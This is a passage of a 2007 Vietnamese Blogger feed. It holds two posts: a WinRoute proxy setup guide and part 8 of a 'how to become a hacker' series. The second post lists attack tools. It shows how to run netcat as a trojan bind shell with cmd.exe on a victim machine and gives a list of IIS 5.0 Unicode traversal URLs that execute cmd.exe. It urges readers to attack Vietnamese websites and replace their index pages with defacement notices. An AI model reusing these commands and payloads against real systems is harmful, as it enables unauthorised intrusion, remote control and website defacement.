Winroute bạn phải khởi động Winroute Engine Monitor. Có thể chạy Winroute Engine Monitor bằng hai cách &lt;br /&gt;&lt;br /&gt;Start -&gt; Program -&gt; WinRoute Pro -&gt; Winroute Engine Monitor hoặc&lt;br /&gt;Start -&gt; Settings -&gt; Control Panel -&gt; Services -&gt; Start (NT), tương tự với Win2000 &lt;br /&gt;&lt;br /&gt;Nếu thấy xuất hiện hình tròn nhỏ màu xanh nằm dưới góc phải thì Winroute đã hoạt động. Còn nếu xuất hiện vòng tròn màu đỏ thì Winroute đã bị stop. Bạn có thể khởi động nó bằng cách như trên. &lt;br /&gt;&lt;br /&gt;Sau khi khởi động Winroute xong bạn bấm chuột phải vào biểu tượng Winroute và chọn Winroute Administration, cửa sổ Open Configuration sẽ xuất hiện: &lt;br /&gt;Lần đầu tiên khi chạy Winroute Administration, bạn chỉ việc bấm OK. &lt;br /&gt;Không cần gõ password&lt;br /&gt;Bạn có thể đổi password bằng cách chọn Settings --&gt; Accounts: xuất hiện cửa sổ User Accounts. Trong Tab Users chọn Admin và chọn tiếp Edit. Gõ password mới trong hàng Password và Confirm. Không cần chọn Use Windows NT logon authentication. Tuy nhiên bạn vẫn có thể lấy lại trong trường hợp bạn mất password &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Winroute Proxy Server&lt;br /&gt;&lt;br /&gt;Tab General&lt;br /&gt;&lt;br /&gt;Từ cửa sổ Winroute Administration, bạn chọn Settings -&gt; Proxy Server, xuất hiện cửa sổ Proxy Server Settings, bạn đánh dấu vào ô Proxy Server Enabled, và Proxy port là 3128 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tab Cache: Ðánh dấu vào ô cache enable. Nếu như bạn disable cache thì mỗi trang web sẽ được tải trực tiếp từ Internet &lt;br /&gt;&lt;br /&gt;Bạn có thể tăng giảm độ lớn của cache cho Winroute tùy ý, mặc nhiên sẽ là 20MB. Nếu dung lượng ổ cứng của bạn còn rộng rãi bạn có thể tăng cache lên tối đa, maximum là 2GB. &lt;br /&gt;Tab Access&lt;br /&gt;&lt;br /&gt;Trong tab Access này bạn có thể cho hoặc không cho quyền truy nhập vào một trang Web nào đó bằng cách bấm vào nút Insert và gõ vào hàng URL địa chỉ trang Web đó, bấm OK. Các máy client sẽ không mở được trang web này.&lt;br /&gt;&lt;br /&gt;Ngoài ra có thể cấu hình cho WinRoute từ bất kỳ máy nào trong mạng Lan bằng cách copy file "WrAdmin.exe" trong C:\Program files\Winroute Pro sang một máy nào đó và chỉ việc kích hoạt nó. Khi chạy file "WrAdmin.exe" cửa sổ Open Configuration vẫn xuất hiện giống như hình 3, chỉ khác dòng WinRoute Host: gõ địa chỉ IP hoặc host name của máy cài Winroute (Server).&lt;br /&gt;&lt;br /&gt;Password Admin Winroute&lt;br /&gt;&lt;br /&gt;Trường hợp bạn mất password Admin Winroute mà không muốn cài lại, bạn vẫn có thể lấy lại như sau:&lt;br /&gt;&lt;br /&gt;Ðóng cửa sổ Administrator Administration&lt;br /&gt;&lt;br /&gt;Stop Win Route Engine.&lt;br /&gt;&lt;br /&gt;Chọn Start --&gt; Run : gõ regedit&lt;br /&gt;&lt;br /&gt;Vào HKEY_LOCAL_MACHINE\Software\TinySoftware\WinRouteP ro\User&lt;br /&gt;&lt;br /&gt;Tìm đến khóa số ( thường là số 0 ) với tên là "name" có giá trị là Admin&lt;br /&gt;&lt;br /&gt;Thay đổi tên "name" này thành một tên khác bất kỳ ( ví dụ như OldAdmin )&lt;br /&gt;&lt;br /&gt;Sau đó vào HKEY_LOCAL_MACHINE\Software\TinySoftware\WinRouteP ro, tìm đến tên "AdminUserAdded" và đổi giá trị thành 0 ( mặc nhiên là 1 )&lt;br /&gt;&lt;br /&gt;Sau đó chạy WinRoute Engine Monitor, vào WinRoute Administration&lt;br /&gt;&lt;br /&gt;Tất cả những quá trình này sẽ làm cho Winroute chạy như lần đầu tiên và sẽ tạo ra account Administrator mới với tên mặc nhiên là Admin và password trống.&lt;br /&gt;&lt;br /&gt;Tiếp tục vào menu Settings --&gt; User accounts, xóa user OldAdmin.&lt;br /&gt;Cấu hình trên máy con (Client) đối với Winroute &lt;br /&gt;I. Cấu hình cho Browser&lt;br /&gt;Bạn mở Internet Explorer, chọn Tools --&gt; Internet Options &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bấm Tab Connections , chọn LAN Settings&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bạn đánh dấu vào mục Use a proxy server. Hàng Address: gõ IP máy chủ (server). Port: 3128, bấm OK.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-9069256587900820946?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/9069256587900820946/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=9069256587900820946' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/9069256587900820946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/9069256587900820946'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/cu-hnh-winrouter.html' title='Cấu hình Winrouter'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-8894174161457850627</id><published>2007-06-19T01:18:00.001-07:00</published><updated>2007-06-19T01:18:37.828-07:00</updated><title type='text'>Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần VIII)</title><content type='html'>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 8&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;47.) Các công cụ cần thiết để hack Web :&lt;br /&gt;&lt;br /&gt;Đối với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng trên máy của mình để test lỗi . Nhưng đối với các bạn mới “vào nghề” thì những công cụ này rất cần thiết , hãy sử dụng chúng một vài lần bạn sẽ biết cách phối hợp chúng để việc tìm ra lỗi trên các trang Web nạn nhân được nhanh chóng nhất . Sau đây là một số công cụ bạn cần phải có trên máy “làm ăn” của mình :&lt;br /&gt;&lt;br /&gt;Công cụ thứ 1 : Một cái proxy dùng để che dấu IP và vượt tường lửa khi cần ( Cách tạo 1 cái Proxy tôi đã bày ở phần 7 , các bạn hãy xem lại nhé ) .&lt;br /&gt;Công cụ thứ 2 : Bạn cần có 1 shell account, cái này thực sự quan trọng đối với bạn . Một shell account tốt là 1 shell account cho phép bạn chạy các chương trình chính như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account đó cần phải cài chương trình GCC ( rất quan trọng trong việc dịch (compile) các exploit được viết bằng C) như MinGW, Cygwin và các dev tools khác.&lt;br /&gt;Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng hơn DOS . Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn không cài Unix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai đó cài Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet (Start -- &gt; Run -- &gt; gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ bạn có thể đăng ký free shell account :&lt;br /&gt;http://www.freedomshell.com/&lt;br /&gt;http://www.cyberspace.org/shell.html&lt;br /&gt;http://www.ultrashell.net/&lt;br /&gt;&lt;br /&gt;Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem những dịch vụ nào đang chạy trên server (services / ports : webserver , ftpserver , pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server sử dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping aweep),IP protocol , Null scan , TCP SYN (half open),... NMAP được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới.&lt;br /&gt;Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/ .&lt;br /&gt;Công cụ thứ 4 : Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 exploits khác.&lt;br /&gt;Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu trúc của một Website gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục và file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website thì bạn phải nắm một số thông tin của Admin và Website đó.&lt;br /&gt;Công cụ thứ 6 : Netcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng chương trình script khác để điều khiển Netcat. Netcat được coi như 1 exploitation tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi dữ liệu ( tất nhiên là khi Netcat đã được cài trên 1 server bị lỗI ). Mọi thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/ .&lt;br /&gt;Công cụ thứ 7 : Active Perl là công cụ đọc các file Perl đuôi *.pl vì các exploit thường được viết bằng Perl . Nó còn được sử dụng để thi hành các lệnh thông qua các file *.pl .&lt;br /&gt;Công cụ thứ 8 : Linux là hệ điều hành hầu hết các hacker đều sử dụng.&lt;br /&gt;Công cụ thứ 9 : L0phtCrack là công cụ số một để Crack Password của Windows NT/2000 .&lt;br /&gt;Cách Download tôi đã bày rồi nên không nói ở đây , các bạn khi Download nhớ chú ý đến các phiên bản của chúng , phiên bản nào có số lớn nhất thì các bạn hãy Down về mà sài vì nó sẽ có thêm một số tính năng mà các phiên bản trước chưa có . Nếu down về mà các bạn không biết sử dụng thì tìm lại các bài viết cũ có hướng dẫn bên Box “Đồ nghề” . Nếu vẫn không thấy thì cứ post bài hỏi , các bạn bên đó sẽ trả lời cho bạn .&lt;br /&gt;&lt;br /&gt;48.) Hướng dẫn sử dụng Netcat :&lt;br /&gt;&lt;br /&gt;a . ) Giới thiệu : Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó vì nó rất mạnh và tiện dụng . Do đó bạn cần biết một chút về Netcat .&lt;br /&gt;b . ) Biên dịch :&lt;br /&gt;_ Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.&lt;br /&gt;- hiệu chỉnh file netcat.c bằng vi: vi netcat.c&lt;br /&gt;+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu ``/``: // res_init();&lt;br /&gt;+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):&lt;br /&gt;&lt;br /&gt;#define GAPING_SECURITY_HOLE&lt;br /&gt;#define TELNET&lt;br /&gt;&lt;br /&gt;- biên dịch: make linux&lt;br /&gt;- chạy thử: ./nc -h&lt;br /&gt;- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ``:.``&lt;br /&gt;PATH=/sbin:/usr/sbin:...:.&lt;br /&gt;_ Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.&lt;br /&gt;c . ) Các tùy chọn của Netcat :&lt;br /&gt;_ Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;C:\ &gt; nc -h&lt;br /&gt;connect to somewhere: nc [-options] hostname port [ports] ...&lt;br /&gt;listen for inbound: nc -l -p port [options] [hostname] [port]&lt;br /&gt;options:&lt;br /&gt;-d ----------- tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar)&lt;br /&gt;-e prog --- thi hành chương trình prog, thường dùng trong chế độ lắng nghe&lt;br /&gt;-h ----------- gọi hướng dẫn&lt;br /&gt;-i secs ----- trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi&lt;br /&gt;-l ------------- đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến&lt;br /&gt;-L ------------ buộc Netcat ``cố`` lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.&lt;br /&gt;-n ------------ chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS&lt;br /&gt;-o ------------ file ghi nhật kí vào file&lt;br /&gt;-p port ----- chỉ định cổng port&lt;br /&gt;-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)&lt;br /&gt;-s addr ----- giả mạo địa chỉ IP nguồn là addr&lt;br /&gt;-t ------------- không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.&lt;br /&gt;-u ------------- dùng UDP(mặc định netcat dùng TCP)&lt;br /&gt;-v ------------- hiển thị chi tiết các thông tin về kết nối hiện tại.&lt;br /&gt;-vv ----------- sẽ hiển thị thông tin chi tiết hơn nữa.&lt;br /&gt;-w secs ---- đặt thời gian timeout cho mỗi kết nối là secs mili giây&lt;br /&gt;-z ------------- chế độ zero I/O, thường được sử dụng khi scan port&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080&lt;br /&gt;&lt;br /&gt;d . ) Tìm hiểu Netcat qua các VD :&lt;br /&gt;&lt;br /&gt;_ Chộp banner của web server :&lt;br /&gt;&lt;br /&gt;Ví dụ: nc đến 172.16.84.2, cổng 80&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;C:\ &gt; nc 172.16.84.2 80&lt;br /&gt;HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sat, 05 Feb 2000 20:51:37 GMT&lt;br /&gt;Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2&lt;br /&gt;OpenSSL/0.9.6 PHP/4.0.4pl1&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v ( -vv sẽ&lt;br /&gt;cho biết các thông tin chi tiết hơn nữa)&lt;br /&gt;&lt;br /&gt;C:\ &gt; nc -vv 172.16.84.1 80&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA&lt;br /&gt;(UNKNOWN) [172.16.84.1] 80 (?) open&lt;br /&gt;HEAD / HTTP/1.0&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Fri, 04 Feb 2000 14:46:43 GMT&lt;br /&gt;Server: Apache/1.3.20 (Win32)&lt;br /&gt;Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT&lt;br /&gt;ETag: ``0-cec-3899eaea``&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;Content-Length: 3308&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: text/html&lt;br /&gt;sent 17, rcvd 245: NOTSOCK&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nếu muốn ghi nhật kí, hãy dùng -o . Ví dụ:&lt;br /&gt;&lt;br /&gt;nc -vv -o nhat_ki.log 172.16.84.2 80&lt;br /&gt;&lt;br /&gt;xem file nhat_ki.log xem thử nó đã ghi những gì nhé :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt; 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.&lt;br /&gt;&lt; 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F&lt;br /&gt;&lt; 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54&lt;br /&gt;&lt; 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap&lt;br /&gt;&lt; 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win&lt;br /&gt;&lt; 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi&lt;br /&gt;&lt; 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb&lt;br /&gt;&lt; 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM&lt;br /&gt;&lt; 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: ``0-cec-&lt;br /&gt;&lt; 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea``..Accep&lt;br /&gt;&lt; 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.&lt;br /&gt;&lt; 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:&lt;br /&gt;&lt; 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio&lt;br /&gt;&lt; 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten&lt;br /&gt;&lt; 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm&lt;br /&gt;&lt; 000000f0 6c 0d 0a 0d 0a # l....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dấu &lt; nghĩa là server gởi đến netcat&lt;br /&gt;dấu &gt; nghĩa là netcat gởi đến server&lt;br /&gt;&lt;br /&gt;_ Quét cổng :&lt;br /&gt;Bạn hãy chạy netcat với tùy chọn –z . Nhưng để quét cổng nhanh hơn, bạn hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1- &gt; 500) của host 172.16.106.1&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500&lt;br /&gt;(UNKNOWN) [172.16.106.1] 443 (?) open&lt;br /&gt;(UNKNOWN) [172.16.106.1] 139 (?) open&lt;br /&gt;(UNKNOWN) [172.16.106.1] 111 (?) open&lt;br /&gt;(UNKNOWN) [172.16.106.1] 80 (?) open&lt;br /&gt;(UNKNOWN) [172.16.106.1] 23 (?) open&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;nếu bạn cần scan các cổng UDP, dùng -u&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500&lt;br /&gt;(UNKNOWN) [172.16.106.1] 1025 (?) open&lt;br /&gt;(UNKNOWN) [172.16.106.1] 1024 (?) open&lt;br /&gt;(UNKNOWN) [172.16.106.1] 138 (?) open&lt;br /&gt;(UNKNOWN) [172.16.106.1] 137 (?) open&lt;br /&gt;(UNKNOWN) [172.16.106.1] 123 (?) open&lt;br /&gt;(UNKNOWN) [172.16.106.1] 111 (?) open&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_ Biến Netcat thành một trojan :&lt;br /&gt;Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l ( listen ) và -p port để xác định số hiệu cổng cần lắng nghe, -e để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe ( đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;E:\ &gt; nc -nvv -l -p 8080 -e cmd.exe&lt;br /&gt;listening on [any] 8080 ...&lt;br /&gt;connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159&lt;br /&gt;sent 0, rcvd 0: unknown socket error&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;C:\ &gt; nc -nvv 172.16.84.2 8080&lt;br /&gt;(UNKNOWN) [172.16.84.2] 8080 (?) open&lt;br /&gt;Microsoft Windows 2000 [Version 5.00.2195]&lt;br /&gt;© Copyright 1985-1999 Microsoft Corp.&lt;br /&gt;E:\ &gt; cd test&lt;br /&gt;cd test&lt;br /&gt;E:\test &gt; dir /w&lt;br /&gt;dir /w&lt;br /&gt;Volume in drive E has no label.&lt;br /&gt;Volume Serial Number is B465-452F&lt;br /&gt;Directory of E:\test&lt;br /&gt;[.] [..] head.log NETUSERS.EXE NetView.exe&lt;br /&gt;ntcrash.zip password.txt pwdump.exe&lt;br /&gt;6 File(s) 262,499 bytes&lt;br /&gt;2 Dir(s) 191,488,000 bytes free&lt;br /&gt;C:\test &gt; exit&lt;br /&gt;exit&lt;br /&gt;sent 20, rcvd 450: NOTSOCK&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Như các bạn đã thấy , ta có thể làm những gì trên máy của nạn nhân rồi , chỉ cần một số lệnh cơ bản , ta đã chiếm được máy tính của đối phương , các bạn hãy xem tiếp nhé :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;E:\ &gt; nc -nvv -L -p 8080 -e cmd.exe&lt;br /&gt;listening on [any] 8080 ...?&lt;br /&gt;?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s&lt;địa_chỉ_ip_của_máy_này &gt; . Ví dụ:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;netstat -a&lt;br /&gt;...&lt;br /&gt;TCP nan_nhan:domain nan_nhan:0 LISTENING &lt;- cổng 53 đang lắng nghe&lt;br /&gt;...&lt;br /&gt;E:\ &gt; nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 - &gt; lắng nghe ngay trên cổng 53&lt;br /&gt;listening on [172.16.84.1] 53 ...&lt;br /&gt;connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?&lt;br /&gt;?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong.&lt;br /&gt;Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.&lt;br /&gt;&lt;br /&gt;( Dựa theo bài viết của huynh Vicky )&lt;br /&gt;&lt;br /&gt;49.) Kỹ thuật hack IIS server 5.0 :&lt;br /&gt;&lt;br /&gt;_ IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để ta có thể khai thác , do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên lỗi ở các phiên bản trước tôi không đề cập đến . Bây giờ tôi sẽ bày các bạn cách hack thông qua công cụ activeperl và IE , các bạn có thể vận dụng cho các trang Web ở VN vì chúng bị lỗi này rất nhiều . Ta hãy bắt đầu nhé .&lt;br /&gt;_ Trước hết các bạn hãy download activeperl và Unicode.pl .&lt;br /&gt;_ Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay không :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;telnet &lt; tên trang Web &gt; 80&lt;br /&gt;GET HEAD / HTTP/1.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nếu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v…&lt;br /&gt;_ Sau khi đã xác định được mục tiêu các bạn vào DOS gõ :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;perl unicode.pl&lt;br /&gt;Host: ( gõ địa chỉ server mà các bạn muốn hack )&lt;br /&gt;Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_ Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình trong Unicode.pl ) như sau :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+&lt;br /&gt;[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+&lt;br /&gt;[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+&lt;br /&gt;[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+&lt;br /&gt;[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+&lt;br /&gt;[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+&lt;br /&gt;[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+&lt;br /&gt;[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+&lt;br /&gt;[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+&lt;br /&gt;[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+&lt;br /&gt;[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.ex e?/c+&lt;br /&gt;[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe ?/c+&lt;br /&gt;[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/ cmd.exe?/c+&lt;br /&gt;[14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0 \%80\%af../winnt/system32/cmd.exe?/c+&lt;br /&gt;[15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0% af../winnt/system32/cmd.exe?/c+&lt;br /&gt;[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0% af../winnt/system32/cmd.exe?/c+&lt;br /&gt;[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c 0%af../winnt/system32/cmd.exe?/c+&lt;br /&gt;[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0 %af../winnt/system32/cmd.exe?/c+&lt;br /&gt;[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0 %af../winnt/system32/cmd.exe?/c+&lt;br /&gt;[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c 0%af../winnt/system32/cmd.exe?/c+&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi .&lt;br /&gt;Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7 , tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address :&lt;br /&gt;&lt;br /&gt;http://www.xxx.com/scripts/..%c1%p c../winnt/system32/cmd.exe?/c+ &lt; == lỗi dòng thứ 3&lt;br /&gt;hoặc&lt;br /&gt;http://www.xxx.com/scripts/..%c1%1 c../winnt/system32/cmd.exe?/c+ &lt; == lỗi dòng thứ 7&lt;br /&gt;&lt;br /&gt;Đến đây các bạn đã có thể xâm nhập vào server của nạn nhân rồi đó , các bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này . Thông thường các trang Web nằm ở thư mục vinetpub\wwwroot , các bạn vào được rồI thì chỉ cần thay index.html vớI tên hack by …. Là được rồi , đừng quậy họ nhé .&lt;br /&gt;&lt;br /&gt;GOOKLUCK!!!!!!!!!!!!!!!&lt;br /&gt;&lt;br /&gt;( Hết phần 8 )&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-8894174161457850627?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/8894174161457850627/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=8894174161457850627' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8894174161457850627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8894174161457850627'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/nhng-hiu-bit-c-bn-tr-thnh-hacker-phn_4272.html' title='Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần VIII)'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 